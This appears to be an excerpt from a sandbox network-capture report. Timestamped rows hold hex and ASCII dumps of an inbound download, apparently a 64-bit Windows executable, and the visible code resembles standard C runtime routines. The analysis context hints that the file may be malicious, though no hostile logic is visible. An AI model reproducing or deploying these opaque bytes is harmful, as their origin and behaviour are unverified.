2022-05-23 06:34:53 UTC	15	IN	Data Raw: 24 08 48 83 ec 48 8b 44 24 68 89 44 24 20 4c 8b 4c 24 60 44 8b 44 24 58 8b 15 c9 8a 02 00 48 8b 4c 24 50 e8 17 00 00 00 48 89 44 24 30 48 8b 44 24 30 48 83 c4 48 c3 cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 c7 44 24 30 00 00 00 00 48 8d 44 24 30 48 89 44 24 28 8b 44 24 70 89 44 24 20 4c 8b 4c 24 68 44 8b 44 24 60 8b 54 24 58 48 8b 4c 24 50 e8 37 00 00 00 48 89 44 24 38 48 83 7c 24 38 00 75 1c 83 7c 24 30 00 74 15 e8 ee 67 00 00 48 85 c0 74 0b e8 e4 67 00 00 8b 4c 24 30 89 08 48 8b 44 24 38 48 83 c4 48 c3 cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 48 8b 44 24 78 48 89 44 24 20 44 8b 4c 24 70 4c 8b 44 24 68 8b 54 24 60 48 8b 4c 24 50 e8 67 00 00 00 48 89 44 24 30 48 83 Data Ascii: $HHD$hD$ LL$`DD$XHL$PHD$0HD$0HHLL$ DD$T$HL$HHD$0HD$0HD$(D$pD$ LL$hDD$`T$XHL$P7HD$8H\|$8u\|$0tgHtgL$0HD$8HHLL$ DD$T$HL$HHHD$xHD$ DL$pLD$hT$`HL$PgHD$0H
2022-05-23 06:34:53 UTC	15	IN	Data Raw: 65 32 32 0d 0a f2 df 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 b6 67 00 00 83 f8 01 75 03 cc 33 c0 eb 2f 48 8d 05 a5 df 01 00 48 89 44 24 28 48 8d 05 91 df 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 85 67 00 00 83 f8 01 75 03 cc 33 c0 e9 2c 03 00 00 8b 84 24 88 00 00 00 25 ff ff 00 00 83 f8 02 74 15 8b 05 99 6a 02 00 83 e0 01 85 c0 75 08 c7 44 24 40 01 00 00 00 48 83 bc 24 80 00 00 00 ac 76 51 48 8b 84 24 80 00 00 00 48 89 44 24 28 48 8d 05 03 df 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 b9 01 00 00 00 e8 1c 67 00 00 83 f8 01 75 03 cc 33 c0 48 83 bc 24 a0 00 00 00 00 74 0e 48 8b 84 24 a0 00 00 00 c7 00 0c 00 00 00 e9 aa 02 00 00 8b 84 24 88 00 00 00 25 ff ff 00 00 83 f8 04 74 57 83 bc 24 88 00 00 00 01 74 4d 8b 84 24 88 00 00 00 Data Ascii: e22HD$ E3E333gu3/HHD$(HHD$ E3E333gu3,$%tjuD$@H$vQH$HD$(HHD$ E3E33gu3H$tH$$%tW$tM$
2022-05-23 06:34:53 UTC	17	IN	Data Raw: ec 88 00 00 00 c7 44 24 48 00 00 00 00 48 8b 84 24 98 00 00 00 48 8b 00 48 89 44 24 40 48 83 bc 24 90 00 00 00 00 75 26 44 8b 8c 24 b0 00 00 00 4c 8b 84 24 a8 00 00 00 8b 94 24 a0 00 00 00 48 8b 4c 24 40 e8 c1 f7 ff ff e9 52 08 00 00 83 bc 24 b8 00 00 00 00 74 23 48 83 7c 24 40 00 75 1b 8b 94 24 a0 00 00 00 48 8b 8c 24 90 00 00 00 e8 36 08 00 00 33 c0 e9 25 08 00 00 83 3d 94 7e 02 00 00 76 61 8b 05 8c 7e 02 00 ff c8 39 05 58 7e 02 00 75 43 e8 51 11 00 00 85 c0 75 2e 48 8d 05 a6 da 01 00 48 89 44 24 20 45 33 c9 41 b8 d2 02 00 00 48 8d 15 21 da 01 00 b9 02 00 00 00 e8 67 68 00 00 83 f8 01 75 03 cc 33 c0 c7 05 15 7e 02 00 00 00 00 00 eb 0e 8b 05 0d 7e 02 00 ff c0 89 05 05 7e 02 00 8b 05 cb 64 02 00 89 44 24 68 83 3d cc 64 02 00 ff 74 0d 8b 05 c4 64 02 00 39 Data Ascii: D$HH$HHD$@H$u&D$L$$HL$@R$t#H\|$@u$H$63%=~va~9X~uCQu.HHD$ E3AH!ghu3~~~dD$h=dtd9
2022-05-23 06:34:53 UTC	18	IN	Data Raw: 84 24 98 00 00 00 48 8b 00 48 89 44 24 40 33 c0 85 c0 75 fa 8b 05 43 60 02 00 ff c0 89 05 3b 60 02 00 83 7c 24 48 00 0f 85 b6 00 00 00 48 83 3d 4c 79 02 00 ff 73 58 48 8b 44 24 58 48 8b 40 20 48 8b 0d 3a 79 02 00 48 2b c8 48 8b c1 48 89 05 2d 79 02 00 48 c7 c0 ff ff ff ff 48 2b 05 1f 79 02 00 48 3b 44 24 40 76 1b 48 8b 44 24 40 48 8b 0d 0c 79 02 00 48 03 c8 48 8b c1 48 89 05 ff 78 02 00 eb 0b 48 c7 05 f2 78 02 00 ff ff ff ff 48 8b 44 24 58 48 8b 40 20 48 8b 0d 12 79 02 00 48 2b c8 48 8b c1 48 89 05 05 79 02 00 48 8b 44 24 40 48 8b 0d f9 78 02 00 48 03 c8 48 8b c1 48 89 05 ec 78 02 00 48 8b 05 cd 78 02 00 48 39 05 de 78 02 00 76 0e 48 8b 05 d5 78 02 00 48 89 05 b6 78 02 00 48 8b 44 24 58 48 83 c0 30 48 89 44 24 60 48 8b 44 24 58 48 8b 40 20 48 39 44 24 40 Data Ascii: $HHD$@3uC`;`\|$HH=LysXHD$XH@ H:yH+HH-yHH+yH;D$@vHD$@HyHHHxHxHD$XH@ HyH+HHyHD$@HxHHHxHxH9xvHxHxHD$XH0HD$`HD$XH@ H9D$@
2022-05-23 06:34:53 UTC	19	IN	Data Raw: 31 64 34 34 0d 0a 00 00 90 b9 04 00 00 00 e8 ff 3f 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 89 54 24 10 48 89 4c 24 08 48 83 ec 68 83 3d 18 76 02 00 00 76 61 8b 05 10 76 02 00 ff c8 39 05 dc 75 02 00 75 43 e8 d5 08 00 00 85 c0 75 2e 48 8d 05 2a d2 01 00 48 89 44 24 20 45 33 c9 41 b8 08 05 00 00 48 8d 15 a5 d1 01 00 b9 02 00 00 00 e8 eb 5f 00 00 83 f8 01 75 03 cc 33 c0 c7 05 99 75 02 00 00 00 00 00 eb 0e 8b 05 91 75 02 00 ff c0 89 05 89 75 02 00 48 83 7c 24 70 00 75 05 e9 0f 06 00 00 83 7c 24 78 01 75 66 48 8b 44 24 70 48 83 e0 f8 48 83 e8 08 41 b8 08 00 00 00 0f b6 15 38 5c 02 00 48 8b c8 e8 03 08 00 00 85 c0 74 40 48 8b 44 24 70 48 89 44 24 28 48 8d 05 3e d9 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 b9 01 00 00 00 e8 b7 58 00 00 83 f8 01 75 Data Ascii: 1d44?H(T$HL$Hh=vvav9uuCu.H*HD$ E3AH_u3uuuH\|$pu\|$xufHD$pHHA8\Ht@HD$pHD$(H>HD$ E3E33Xu
2022-05-23 06:34:53 UTC	20	IN	Data Raw: 20 48 8b 0d e1 70 02 00 48 2b c8 48 8b c1 48 89 05 d4 70 02 00 8b 05 76 57 02 00 83 e0 02 85 c0 0f 85 0a 01 00 00 48 8b 44 24 50 48 83 38 00 74 17 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 48 8b 49 08 48 89 48 08 eb 4c 48 8b 44 24 50 48 39 05 6d 70 02 00 74 2e 48 8d 05 8c d0 01 00 48 89 44 24 20 45 33 c9 41 b8 86 05 00 00 48 8d 15 47 cc 01 00 b9 02 00 00 00 e8 8d 5a 00 00 83 f8 01 75 03 cc 33 c0 48 8b 44 24 50 48 8b 40 08 48 89 05 2d 70 02 00 48 8b 44 24 50 48 83 78 08 00 74 16 48 8b 44 24 50 48 8b 40 08 48 8b 4c 24 50 48 8b 09 48 89 08 eb 4b 48 8b 44 24 50 48 39 05 17 70 02 00 74 2e 48 8d 05 ee cf 01 00 48 89 44 24 20 45 33 c9 41 b8 90 05 00 00 48 8d 15 d9 cb 01 00 b9 02 00 00 00 e8 1f 5a 00 00 83 f8 01 75 03 cc 33 c0 48 8b 44 24 50 48 8b 00 48 89 05 d8 6f Data Ascii: HpH+HHpvWHD$PH8tHD$PHHL$PHIHHLHD$PH9mpt.HHD$ E3AHGZu3HD$PH@H-pHD$PHxtHD$PH@HL$PHHKHD$PH9pt.HHD$ E3AHZu3HD$PHHo
2022-05-23 06:34:53 UTC	21	IN	Data Raw: 0d 48 8b 44 24 50 48 8b 00 48 89 44 24 50 48 83 7c 24 50 00 0f 84 dd 03 00 00 c7 44 24 60 01 00 00 00 48 8b 44 24 50 8b 40 1c 25 ff ff 00 00 83 f8 04 74 28 48 8b 44 24 50 83 78 1c 01 74 1d 48 8b 44 24 50 8b 40 1c 25 ff ff 00 00 83 f8 02 74 0b 48 8b 44 24 50 83 78 1c 03 75 21 48 8b 44 24 50 8b 40 1c 25 ff ff 00 00 48 98 48 8d 0d fe c5 01 00 48 8b 04 c1 48 89 44 24 68 eb 0c 48 8d 05 fc d0 01 00 48 89 44 24 68 48 8b 44 24 50 48 83 c0 2c 41 b8 04 00 00 00 0f b6 15 ad 51 02 00 48 8b c8 e8 79 fd ff ff 85 c0 0f 85 be 00 00 00 48 8b 44 24 50 48 83 78 10 00 74 63 48 8b 44 24 50 48 83 c0 30 48 8b 4c 24 50 8b 49 18 89 4c 24 48 48 8b 4c 24 50 48 8b 49 10 48 89 4c 24 40 48 89 44 24 38 48 8b 44 24 50 8b 40 28 89 44 24 30 48 8b 44 24 68 48 89 44 24 28 48 8d 05 50 cd 01 Data Ascii: HD$PHHD$PH\|$PD$`HD$P@%t(HD$PxtHD$P@%tHD$Pxu!HD$P@%HHHHD$hHHD$hHD$PH,AQHyHD$PHxtcHD$PH0HL$PIL$HHL$PHIHL$@HD$8HD$P@(D$0HD$hHD$(HP
2022-05-23 06:34:53 UTC	23	IN	Data Raw: 09 c7 04 24 01 00 00 00 eb 07 c7 04 24 00 00 00 00 8b 04 24 48 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 28 48 83 7c 24 30 00 75 04 33 c0 eb 3c 48 8b 44 24 30 48 83 e8 30 45 33 c0 ba 30 00 00 00 48 8b c8 e8 92 ff ff ff 85 c0 75 04 33 c0 eb 1b 48 8b 44 24 30 48 83 e8 30 4c 8b c0 33 d2 48 8b 0d 3d 67 02 00 ff 15 0f bd 01 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 68 48 83 7c 24 70 00 74 0a c7 44 24 54 01 00 00 00 eb 08 c7 44 24 54 00 00 00 00 8b 44 24 54 89 44 24 50 83 7c 24 50 00 75 2e 48 8d 05 77 ce 01 00 48 89 44 24 20 45 33 c9 41 b8 ad 08 00 00 48 8d 15 32 c1 01 00 b9 02 00 00 00 e8 78 4f 00 00 83 f8 01 75 03 cc 33 c0 83 7c 24 50 00 75 39 e8 e4 46 00 00 c7 00 16 00 00 00 48 c7 44 24 20 00 Data Ascii: $$$HHL$H(H\|$0u3<HD$0H0E30Hu3HD$0H0L3H=gH(HL$HhH\|$ptD$TD$TD$TD$P\|$Pu.HwHD$ E3AH2xOu3\|$Pu9FHD$
2022-05-23 06:34:53 UTC	24	IN	Data Raw: 89 44 24 48 48 8b 05 c3 60 02 00 48 89 44 24 40 eb 0d 48 8b 44 24 40 48 8b 00 48 89 44 24 40 48 83 7c 24 40 00 0f 84 c9 02 00 00 48 8b 44 24 48 48 39 44 24 40 0f 84 b9 02 00 00 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 03 74 30 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 85 c0 74 1f 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 02 75 12 8b 05 10 47 02 00 83 e0 10 85 c0 75 05 e9 6d 02 00 00 48 8b 44 24 40 48 83 78 10 00 0f 84 a0 00 00 00 45 33 c0 ba 01 00 00 00 48 8b 44 24 40 48 8b 48 10 e8 e6 f9 ff ff 85 c0 74 18 ba 01 00 00 00 48 8b 44 24 40 48 8b 48 10 ff 15 76 b7 01 00 85 c0 74 31 48 8b 44 24 40 8b 40 18 89 44 24 28 48 8d 05 e7 c9 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 63 43 00 00 83 f8 01 75 03 cc 33 c0 eb 3d 48 8b 44 24 40 8b 40 18 89 44 Data Ascii: D$HH`HD$@HD$@HHD$@H\|$@HD$HH9D$@HD$@@%t0HD$@@%tHD$@@%uGumHD$@HxE3HD$@HHtHD$@HHvt1HD$@@D$(HHD$ E3E333cCu3=HD$@@D
2022-05-23 06:34:53 UTC	25	IN	Data Raw: 8b 08 e8 8e 00 00 00 e8 19 3d 00 00 8b 8c 24 c4 00 00 00 89 08 e9 0d fe ff ff 48 63 44 24 40 c6 84 04 88 00 00 00 00 48 8d 44 24 50 48 89 44 24 30 48 8d 84 24 88 00 00 00 48 89 44 24 28 48 8d 05 50 c5 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 9c 3e 00 00 83 f8 01 75 03 cc 33 c0 48 8d 8c 24 a0 00 00 00 e8 87 f9 ff ff 48 8b 8c 24 e0 00 00 00 48 33 cc e8 f7 c3 ff ff 48 81 c4 f8 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 89 4c 24 08 48 83 ec 38 83 7c 24 40 00 74 14 8b 44 24 48 39 44 24 40 74 10 8b 44 24 50 39 44 24 40 74 06 8b 44 24 40 eb 27 48 8b 44 24 78 48 89 44 24 20 44 8b 4c 24 70 4c 8b 44 24 68 48 8b 54 24 60 48 8b 4c 24 58 e8 06 4f 00 00 8b 44 24 40 48 83 c4 38 c3 cc cc cc cc cc cc cc Data Ascii: =$HcD$@HD$PHD$0H$HD$(HPHD$ E3E333>u3H$H$H3HLL$ DD$T$L$H8\|$@tD$H9D$@tD$P9D$@tD$@'HD$xHD$ DL$pLD$hHT$`HL$XOD$@H8
2022-05-23 06:34:53 UTC	26	IN	Data Raw: 31 62 35 30 0d 0a 45 33 c0 ba 01 00 00 00 8b 4c 24 30 e8 d7 01 00 00 48 83 c4 28 c3 cc cc 48 83 ec 28 41 b8 01 00 00 00 33 d2 33 c9 e8 bd 01 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 28 e8 73 59 00 00 8b 4c 24 30 e8 1a 5a 00 00 b9 ff 00 00 00 e8 a0 ff ff ff 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 38 48 8b 05 bd 58 02 00 48 89 44 24 20 eb 0e 48 8b 44 24 20 48 83 c0 08 48 89 44 24 20 48 83 7c 24 20 00 74 1f 48 8b 44 24 20 48 83 38 00 74 14 ba 02 00 00 00 48 8b 44 24 20 48 8b 08 e8 eb e1 ff ff eb cb ba 02 00 00 00 48 8b 0d 75 58 02 00 e8 d8 e1 ff ff 48 c7 05 65 58 02 00 00 00 00 00 48 8b 05 4e 58 02 00 48 89 44 24 20 eb 0e 48 8b 44 24 20 48 83 c0 08 48 89 44 24 20 48 83 7c 24 20 00 74 1f 48 8b 44 24 20 48 83 38 00 74 Data Ascii: 1b50E3L$0H(H(A33H(L$H(sYL$0ZH(H8HXHD$ HD$ HHD$ H\|$ tHD$ H8tHD$ HHuXHeXHNXHD$ HD$ HHD$ H\|$ tHD$ H8t
2022-05-23 06:34:53 UTC	27	IN	Data Raw: 83 ec 38 c7 44 24 20 00 00 00 00 48 8b 44 24 48 48 39 44 24 40 73 2d 83 7c 24 20 00 75 26 48 8b 44 24 40 48 83 38 00 74 0b 48 8b 44 24 40 ff 10 89 44 24 20 48 8b 44 24 40 48 83 c0 08 48 89 44 24 40 eb c7 8b 44 24 20 48 83 c4 38 c3 cc cc cc cc cc cc cc cc 48 81 ec e8 00 00 00 48 8d 4c 24 30 ff 15 d6 aa 01 00 c7 44 24 20 80 00 00 00 4c 8d 0d d7 bd 01 00 41 b8 02 00 00 00 ba 58 00 00 00 b9 20 00 00 00 e8 0a d3 ff ff 48 89 84 24 c0 00 00 00 48 83 bc 24 c0 00 00 00 00 75 0a b8 ff ff ff ff e9 5b 06 00 00 48 8b 84 24 c0 00 00 00 48 89 05 be 6e 02 00 c7 05 98 6e 02 00 20 00 00 00 eb 14 48 8b 84 24 c0 00 00 00 48 83 c0 58 48 89 84 24 c0 00 00 00 48 8b 05 97 6e 02 00 48 05 00 0b 00 00 48 39 84 24 c0 00 00 00 0f 83 a0 00 00 00 48 8b 84 24 c0 00 00 00 c6 40 08 00 48 Data Ascii: 8D$ HD$HH9D$@s-\|$ u&HD$@H8tHD$@D$ HD$@HHD$@D$ H8HHL$0D$ LAX H$H$u[H$Hnn H$HXH$HnHH9$H$@H
2022-05-23 06:34:53 UTC	29	IN	Data Raw: 84 24 c0 00 00 00 c6 40 08 81 83 bc 24 a8 00 00 00 00 75 0d c7 84 24 d4 00 00 00 f6 ff ff ff eb 30 83 bc 24 a8 00 00 00 01 75 0d c7 84 24 d8 00 00 00 f5 ff ff ff eb 0b c7 84 24 d8 00 00 00 f4 ff ff ff 8b 84 24 d8 00 00 00 89 84 24 d4 00 00 00 8b 8c 24 d4 00 00 00 ff 15 6e a5 01 00 48 89 84 24 b8 00 00 00 48 83 bc 24 b8 00 00 00 ff 0f 84 dc 00 00 00 48 83 bc 24 b8 00 00 00 00 0f 84 cd 00 00 00 48 8b 8c 24 b8 00 00 00 ff 15 4a a5 01 00 89 84 24 a4 00 00 00 83 bc 24 a4 00 00 00 00 0f 84 aa 00 00 00 48 8b 84 24 c0 00 00 00 48 8b 8c 24 b8 00 00 00 48 89 08 8b 84 24 a4 00 00 00 25 ff 00 00 00 83 f8 02 75 1c 48 8b 84 24 c0 00 00 00 0f be 40 08 83 c8 40 48 8b 8c 24 c0 00 00 00 88 41 08 eb 2b 8b 84 24 a4 00 00 00 25 ff 00 00 00 83 f8 03 75 1a 48 8b 84 24 c0 00 00 Data Ascii: $@$u$0$u$$$$$nH$H$H$H$J$$H$H$H$%uH$@@H$A+$%uH$
2022-05-23 06:34:53 UTC	30	IN	Data Raw: 05 ee 66 02 00 48 89 44 24 50 eb 0c 48 8d 05 50 49 02 00 48 89 44 24 50 48 8b 44 24 50 48 89 44 24 40 48 8d 44 24 48 48 89 44 24 20 4c 8d 4c 24 38 45 33 c0 33 d2 48 8b 4c 24 40 e8 03 01 00 00 48 63 44 24 38 48 b9 ff ff ff ff ff ff ff 1f 48 3b c1 73 0b 48 63 44 24 48 48 83 f8 ff 72 0a b8 ff ff ff ff e9 a7 00 00 00 48 63 44 24 38 48 63 4c 24 48 48 8d 04 c1 48 63 4c 24 48 48 3b c1 73 0a b8 ff ff ff ff e9 85 00 00 00 48 63 44 24 38 48 63 4c 24 48 48 8d 04 c1 41 b9 8e 00 00 00 4c 8d 05 25 b4 01 00 ba 02 00 00 00 48 8b c8 e8 40 c1 ff ff 48 89 44 24 30 48 83 7c 24 30 00 75 07 b8 ff ff ff ff eb 49 48 63 44 24 38 48 8b 4c 24 30 48 8d 04 c1 48 8d 4c 24 48 48 89 4c 24 20 4c 8d 4c 24 38 4c 8b c0 48 8b 54 24 30 48 8b 4c 24 40 e8 4d 00 00 00 8b 44 24 38 ff c8 89 05 05 Data Ascii: fHD$PHPIHD$PHD$PHD$@HD$HHD$ LL$8E33HL$@HcD$8HH;sHcD$HHrHcD$8HcL$HHHcL$HH;sHcD$8HcL$HHAL%H@HD$0H\|$0uIHcD$8HL$0HHL$HHL$ LL$8LHT$0HL$@MD$8
2022-05-23 06:34:53 UTC	31	IN	Data Raw: fe ff ff 48 83 7c 24 60 00 74 15 48 8b 44 24 60 c6 00 00 48 8b 44 24 60 48 ff c0 48 89 44 24 60 48 8b 44 24 70 8b 00 ff c0 48 8b 4c 24 70 89 01 e9 5f fd ff ff 48 83 7c 24 58 00 74 1a 48 8b 44 24 58 48 c7 00 00 00 00 00 48 8b 44 24 58 48 83 c0 08 48 89 44 24 58 48 8b 44 24 68 8b 00 ff c0 48 8b 4c 24 68 89 01 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 78 48 c7 44 24 60 00 00 00 00 ff 15 cd 9a 01 00 48 89 44 24 48 48 83 7c 24 48 00 75 07 33 c0 e9 3b 01 00 00 48 8b 44 24 48 48 89 44 24 50 48 8b 44 24 50 0f b7 00 85 c0 74 2a 48 8b 44 24 50 48 83 c0 02 48 89 44 24 50 48 8b 44 24 50 0f b7 00 85 c0 75 0e 48 8b 44 24 50 48 83 c0 02 48 89 44 24 50 eb ca 48 8b 44 24 48 48 8b 4c 24 50 48 2b c8 48 8b c1 48 d1 f8 48 ff c0 89 44 24 58 48 c7 44 24 Data Ascii: H\|$`tHD$`HD$`HHD$`HD$pHL$p_H\|$XtHD$XHHD$XHHD$XHD$hHL$hHHHxHD$`HD$HH\|$Hu3;HD$HHD$PHD$Pt*HD$PHHD$PHD$PuHD$PHHD$PHD$HHL$PH+HHHD$XHD$
2022-05-23 06:34:53 UTC	33	IN	Data Raw: a0 00 00 00 48 c7 44 01 08 00 00 00 00 eb c0 48 8b 44 24 28 8b 80 b0 00 00 00 89 44 24 48 48 8b 44 24 20 81 38 8e 00 00 c0 75 14 48 8b 44 24 28 c7 80 b0 00 00 00 83 00 00 00 e9 f7 00 00 00 48 8b 44 24 20 81 38 90 00 00 c0 75 14 48 8b 44 24 28 c7 80 b0 00 00 00 81 00 00 00 e9 d6 00 00 00 48 8b 44 24 20 81 38 91 00 00 c0 75 14 48 8b 44 24 28 c7 80 b0 00 00 00 84 00 00 00 e9 b5 00 00 00 48 8b 44 24 20 81 38 93 00 00 c0 75 14 48 8b 44 24 28 c7 80 b0 00 00 00 0d 0a Data Ascii: HDHD$(D$HHD$ 8uHD$(HD$ 8uHD$(HD$ 8uHD$(HD$ 8uHD$(
2022-05-23 06:34:53 UTC	33	IN	Data Raw: 66 38 31 0d 0a 85 00 00 00 e9 94 00 00 00 48 8b 44 24 20 81 38 8d 00 00 c0 75 11 48 8b 44 24 28 c7 80 b0 00 00 00 82 00 00 00 eb 76 48 8b 44 24 20 81 38 8f 00 00 c0 75 11 48 8b 44 24 28 c7 80 b0 00 00 00 86 00 00 00 eb 58 48 8b 44 24 20 81 38 92 00 00 c0 75 11 48 8b 44 24 28 c7 80 b0 00 00 00 8a 00 00 00 eb 3a 48 8b 44 24 20 81 38 b5 02 00 c0 75 11 48 8b 44 24 28 c7 80 b0 00 00 00 8d 00 00 00 eb 1c 48 8b 44 24 20 81 38 b4 02 00 c0 75 0f 48 8b 44 24 28 c7 80 b0 00 00 00 8e 00 00 00 48 8b 44 24 28 8b 90 b0 00 00 00 b9 08 00 00 00 ff 54 24 40 48 8b 44 24 28 8b 4c 24 48 89 88 b0 00 00 00 eb 19 48 8b 44 24 20 48 c7 40 08 00 00 00 00 48 8b 44 24 20 8b 48 04 ff 54 24 40 48 8b 44 24 28 48 8b 4c 24 30 48 89 88 a8 00 00 00 b8 ff ff ff ff 48 83 c4 58 c3 cc cc 48 89 Data Ascii: f81HD$ 8uHD$(vHD$ 8uHD$(XHD$ 8uHD$(:HD$ 8uHD$(HD$ 8uHD$(HD$(T$@HD$(L$HHD$ H@HD$ HT$@HD$(HL$0HHXH
2022-05-23 06:34:53 UTC	34	IN	Data Raw: 70 1f 02 00 48 c7 04 01 00 00 00 00 e9 71 ff ff ff c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 83 7c 24 20 24 7d 54 48 63 44 24 20 48 6b c0 10 48 8d 0d 38 1f 02 00 48 83 3c 01 00 74 3b 48 63 44 24 20 48 6b c0 10 48 8d 0d 21 1f 02 00 83 7c 01 08 01 75 24 48 63 44 24 20 48 6b c0 10 48 8d 0d 0a 1f 02 00 48 8b 04 01 48 89 44 24 30 48 8b 4c 24 30 ff 15 76 8f 01 00 eb 9b 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 38 c7 44 24 28 01 00 00 00 48 83 3d 20 39 02 00 00 75 19 e8 61 38 00 00 b9 1e 00 00 00 e8 07 39 00 00 b9 ff 00 00 00 e8 dd e2 ff ff 48 63 44 24 40 48 6b c0 10 48 8d 0d 9d 1e 02 00 48 83 3c 01 00 74 0a b8 01 00 00 00 e9 ce 00 00 00 41 b9 16 01 00 00 4c 8d 05 7f a4 01 00 ba 02 00 00 00 b9 28 00 00 00 Data Ascii: pHqD$ D$ D$ \|$ $}THcD$ HkH8H<t;HcD$ HkH!\|u$HcD$ HkHHHD$0HL$0vHHL$H8D$(H= 9ua89HcD$@HkHH<tAL(
2022-05-23 06:34:53 UTC	36	IN	Data Raw: 38 00 0f 85 ba 00 00 00 48 8b 44 24 50 48 83 b8 20 01 00 00 00 74 38 48 8b 44 24 50 48 8b 80 20 01 00 00 83 38 00 75 27 ba 02 00 00 00 48 8b 44 24 50 48 8b 88 20 01 00 00 e8 5d bc ff ff 48 8b 44 24 50 48 8b 88 28 01 00 00 e8 0c 4c 00 00 48 8b 44 24 50 48 83 b8 18 01 00 00 00 74 38 48 8b 44 24 50 48 8b 80 18 01 00 00 83 38 00 75 27 ba 02 00 00 00 48 8b 44 24 50 48 8b 88 18 01 00 00 e8 16 bc ff ff 48 8b 44 24 50 48 8b 88 28 01 00 00 e8 e5 4a 00 00 ba 02 00 00 00 48 8b 44 24 50 48 8b 88 10 01 00 00 e8 ef bb ff ff ba 02 00 00 00 48 8b 44 24 50 48 8b 88 28 01 00 00 e8 d9 bb ff ff 48 8b 44 24 50 48 83 b8 30 01 00 00 00 0f 84 84 00 00 00 48 8b 44 24 50 48 8b 80 30 01 00 00 83 38 00 75 73 48 8b 44 24 50 48 8b 80 38 01 00 00 48 2d fe 00 00 00 ba 02 00 00 00 48 8b Data Ascii: 8HD$PH t8HD$PH 8u'HD$PH ]HD$PH(LHD$PHt8HD$PH8u'HD$PHHD$PH(JHD$PHHD$PH(HD$PH0HD$PH08usHD$PH8H-H
2022-05-23 06:34:53 UTC	37	IN	Data Raw: 65 63 65 0d 0a 02 00 48 39 44 24 20 74 62 48 83 7c 24 20 00 74 33 48 8b 44 24 20 b9 ff ff ff ff f0 0f c1 08 ff c9 8b c1 85 c0 75 1d 48 8d 05 99 1b 02 00 48 39 44 24 20 74 0f ba 02 00 00 00 48 8b 4c 24 20 e8 83 b7 ff ff 48 8b 44 24 28 48 8b 0d a7 1f 02 00 48 89 88 b8 00 00 00 48 8b 05 99 1f 02 00 48 89 44 24 20 48 8b 44 24 20 f0 ff 00 b9 0d 00 00 00 e8 82 f7 ff ff eb 11 48 8b 44 24 28 48 8b 80 b8 00 00 00 48 89 44 24 20 48 83 7c 24 20 00 75 0a b9 20 00 00 00 e8 cd d4 ff ff 48 8b 44 24 20 48 83 c4 38 c3 cc cc cc 89 4c 24 08 56 57 48 81 ec 68 02 00 00 c7 44 24 38 ff ff ff ff e8 d6 a3 ff ff 48 89 44 24 30 e8 dc fe ff ff 48 8b 44 24 30 48 8b 80 b8 00 00 00 48 89 44 24 28 8b 8c 24 80 02 00 00 e8 cf 02 00 00 89 84 24 80 02 00 00 48 8b 44 24 28 8b 40 04 39 84 24 Data Ascii: eceH9D$ tbH\|$ t3HD$ uHH9D$ tHL$ HD$(HHHHD$ HD$ HD$(HHD$ H\|$ u HD$ H8L$VWHhD$8HD$0HD$0HHD$($$HD$(@9$
2022-05-23 06:34:53 UTC	38	IN	Data Raw: eb d9 c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 83 7c 24 20 04 0f 83 b9 00 00 00 8b 44 24 24 48 6b c0 30 48 8d 0d 83 1a 02 00 48 03 c8 48 8b c1 8b 4c 24 20 48 8d 44 c8 10 48 89 44 24 28 eb 0e 48 8b 44 24 28 48 83 c0 02 48 89 44 24 28 48 8b 44 24 28 0f b6 00 85 c0 74 75 48 8b 44 24 28 0f b6 40 01 85 c0 74 68 48 8b 44 24 28 0f b6 00 89 44 24 30 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 44 24 28 0f b6 40 01 39 44 24 30 77 3c 8b 44 24 30 ff c0 8b c0 8b 4c 24 20 48 8d 15 04 1a 02 00 0f be 0c 0a 48 8b 94 24 88 00 00 00 0f b6 44 02 1c 0b c1 8b 4c 24 30 ff c1 8b c9 48 8b 94 24 88 00 00 00 88 44 0a 1c eb ab e9 71 ff ff ff e9 32 ff ff ff 48 8b 84 24 88 00 00 00 8b 8c 24 80 00 00 00 89 48 04 48 8b 84 24 88 00 00 00 c7 40 08 01 00 00 00 48 8b 84 24 Data Ascii: D$ D$ D$ \|$ D$$Hk0HHHL$ HDHD$(HD$(HHD$(HD$(tuHD$(@thHD$(D$0D$0D$0HD$(@9D$0w<D$0L$ HH$DL$0H$Dq2H$$HH$@H$
